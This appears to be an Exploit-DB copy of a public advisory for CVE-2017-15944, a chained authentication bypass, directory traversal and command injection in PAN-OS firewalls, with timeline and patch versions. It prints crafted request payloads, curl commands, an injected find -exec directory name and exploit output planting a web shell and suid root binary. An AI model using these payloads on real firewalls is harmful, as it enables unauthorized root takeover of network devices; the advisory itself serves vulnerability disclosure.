Palo Alto Networks Firewalls – Root Remote Code Execution

• Exploit Database
• 20 阅读

• 作者： Philip Pettersson
  日期： 2017-12-14
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/43342/

• This is a public advisory for CVE-2017-15944 which is a remote root code
  execution bug in Palo Alto Networks firewalls.
  
  Three separate bugs can be used together to remotely execute commands as
  root through the web management interface without authentication on: PAN-OS
  6.1.18 and earlier, PAN-OS 7.0.18 and earlier, PAN-OS 7.1.13 and earlier,
  PAN-OS 8.0.5 and earlier.
  
  Palo Alto Networks recommends not exposing the web management interface to
  the internet. By looking at Project Sonar or Shodan it is evident that it's
  actually quite common to deploy the firewalls with the web management
  interface listening on the WAN port.
  
  PAN-OS 6.1.19, PAN-OS 7.0.19, PAN-OS 7.1.14 and PAN-OS 8.0.6 are patched
  and can be downloaded from https://support.paloaltonetworks.com/
  
  =*=*=*=*=*=*=*=*=TIMELINE
  
  2017-07-09: Report submitted.
  
  2017-07-11: Palo Alto Networks PSIRT confirm that they received the report
  and assign PDV-348 for tracking the issues.
  
  2017-12-05: The bugs are made public by Palo Alto Networks at
  https://securityadvisories.paloaltonetworks.com
  
  2017-12-11: I send out this public advisory.
  
  =*=*=*=*=*=*=*=*=DESCRIPTION
  
  - Bug #1: Partial authentication bypass
  
  The file `/etc/appweb3/conf/common.conf` contains the web configuration for
  the web server that handles the web management interface.
  
  It configures an authentication filter on most subdirectories using the
  following format:
  
  <Location /php>
  panAuthCheck on
  </Location>
  
  This means that all requests to /php/* will be checked for an authenticated
  session cookie. The functionality itself is implemented in the
  `libpanApiWgetFilter.so` library file.
  
  The function `openAuthFilter()` will look for the PHPSESSID cookie and then
  call the `readSessionVarsFromFile()` function on the session file to
  extract the `dloc` and `user` values.
  
  The problem is that `readSessionVarsFromFile()` is not using the official
  PHP functions to read the serialized session data, but its own parser using
  `strtok()` which is not implemented correctly.
  
  The PHP session format which `readSessionVarsFromFile()` tries to parse
  looks like this for string values:
  locale|s:2:"en";
  
  Explained:
  var_name|s:str_length:"string value"; var_name|s:str_length:"another
  string";...
  
  
  If we can inject a value into the session file that contains the `";`
  character sequence, we can break the parser and inject our own value for
  the `user` variable.
  
  We can do this by calling the `/esp/cms_changeDeviceContext.esp` script,
  which does not need any kind of authentication to be called.
  
  It will call the `panUserSetDeviceLocation()` function located in
  `panmodule.so`, which splits the `dloc` GET parameter by ":" and sets the
  `dloc` and `loc` session variables to the second value.
  
  We can corrupt the session file by calling the following url:
  `/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";`
  
  Which produces the following contents in `/tmp/sess_<sessionid>`:
  `dloc|s:20:"8:a'";user|s."1337";";loc|s:27:"16:a'";user|s."1337";:vsys1";`
  
  When this is parsed by the `readSessionVarsFromFile()` function, it will
  extract `16:a'` as the value for the `user` variable.
  
  It will then use this in XML requests to the backend to check if the user
  is authenticated, but this produces an XML injection that results in an
  invalid XML document:
  
  ```
  Entity: line 1: parser error : attributes construct error
  <request cmd='op' cookie='16:a''refresh='no'><operations
  xml='yes'><show><cli>
  ```
  
  The extra single quote character is injected into the cookie value, which
  makes the request fail because of a parser error. Interestingly enough, the
  `panCheckSessionExpired()` function in `libpanApiWgetFilter.so` does not
  recognize this unexpected state and believes that authentication has
  succeeded.
  
  We can now access any PHP file protected by the panAuthCheck directive
  using our manipulated session cookie.
  
  Example:
  
  imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php
  <!DOCTYPE html>
  <html><head><title>Moved Temporarily</title></head>
  <body><h1>Moved Temporarily</h1>
  <p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php
  ">here</a>.</p>
  <address>PanWeb Server/ -at 127.0.0.1:28250 Port 80</address></body>
  </html>
  imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" '
  10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'
  @start@Success@end@
  imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php
  2>/dev/null|head -30
  <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "
  http://www.w3.org/TR/html4/loose.dtd";>
  <html>
  <head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
  <title>Debug Console</title>
  
  
  It's important to note that we still don't have a valid, logged in session.
  Most PHP scripts will fail, but we do bypass the authentication check in
  the web server.
  
  - Bug #2:Arbitrary directory creation
  
  The `/php/utils/router.php` file handles API requests for the web
  management interface backend communication. It exposes most of the PHP
  classes that comprise the web application in a simple remote procedure call
  interface over HTTP POST/JSON.
  
  The `/php/device/Administrator.php` file declares the `Administrator`
  class. It contains a method called `get` that we can call from `router.php`.
  
  In the `get` method there is an XML injection in the call to
  `Direct::getConfigByXpath`. The `jsonArgs->id` parameter is appended to the
  request without any sanitation. This allows us to manipulate the XML
  request that is sent to the backend.
  
  Normal request:
  <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']"
  cookie="12312312312"/>
  
  We can inject our own values into the end of the `obj` attribute, and
  therefore control all of the remaining XML request.
  
  The `pan_cfg_req_ctxt_construct()` function in `libpanmp_mp.so` handles the
  parsing of XML requests in the backend.
  
  If we send a request tag with the `async-mode='yes'` attribute set, the
  backend will create a temporary file and parent directory in
  `/opt/pancfg/session/pan/user_tmp/<cookie value>/<jobid>.xml` that contains
  the output of the request.
  
  Since we can control the `<cookie value>` part of the created directory
  structure, we can use a directory traversal attack to create a directory
  with an arbitrary name anywhere on the system.
  
  For example, by sending the following crafted POST request:
  
  {"action":"PanDirect","method":"execute","data":
  ["07c5807d0d927dcd0980f86024e5208b","Administrator.get",
  {"changeMyPassword":true,"template":"asd","id":"admin']\"
  async-mode='yes' refresh='yes'
  cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713}
  
  
  The backend receives the following XML request, resulting in the
  `/tmp/hacked` directory being created:
  
  <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']"
  async-mode="yes" refresh="yes" cookie="../../../../../../tmp/hacked"/>
  
  
  - Bug #3:Command injection in cron script
  
  There is a cron entry that executes `/usr/local/bin/genindex_batch.sh`
  every 15 minutes.
  
  This shellscript will in turn execute `/usr/local/bin/genindex.sh` to
  generate indexes from database files in `/opt/pancfg/mgmt/logdb/`.
  
  There is a command injection vulnerability in how this shellscript handles
  filename processing:
  
  <redacted at the request of PA networks>
  
  Since we can create directories in `$PAN_BASE_DIR/logdb/$dir/1`, we are
  able to influence the output of the first `find` command.
  
  This output is then used as an argument in the second execution of `find`,
  but without enclosing quotes. We can therefore inject arbitrary arguments
  in this invocation. By passing the `-exec` option to `find`, we can make it
  execute arbitrary system commands.
  
  My exploit creates a directory called:
  `* -print -exec python -c exec("[base64 code..]".decode("base64")) ;`
  
  The base64-encoded python code will be executed as root, which creates a
  simple web shell in `/var/appweb/htdocs/api/c.php` as well as a suid root
  wrapper in `/bin/x`.
  
  =*=*=*=*=*=*=*=*=EXPLOIT OUTPUT
  
  imac:~/pa% python panos-rce.py http://10.0.0.1/
  creating corrupted session...
  http://10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27
  ";user|s."1337";
  done, verifying..
  http://10.0.0.1/php/utils/debug.php
  panAuthCheck bypassed
  verifying that directory creation works..
  http://10.0.0.1/php/utils/router.php/Administrator.get
  http://10.0.0.1/api/test/202.xml
  creating /opt/pancfg/mgmt/logdb/traffic/1/ entry
  shell at http://10.0.0.1/api/c.php should be created in 8 minutes.. please
  wait
  
  web shell created, rootshell accessible with /bin/x -p -c 'command'
  uid=99(nobody) gid=99(nobody) euid=0(root)
  Linux PA-3060 2.6.32.27-7.1.10.0.30 #1 SMP Thu May 4 20:10:01 PDT 2017
  x86_64 x86_64 x86_64 GNU/Linux
  
  $
  
  
  =*=*=*=*=*=*=*=*=CREDIT
  
  Philip Pettersson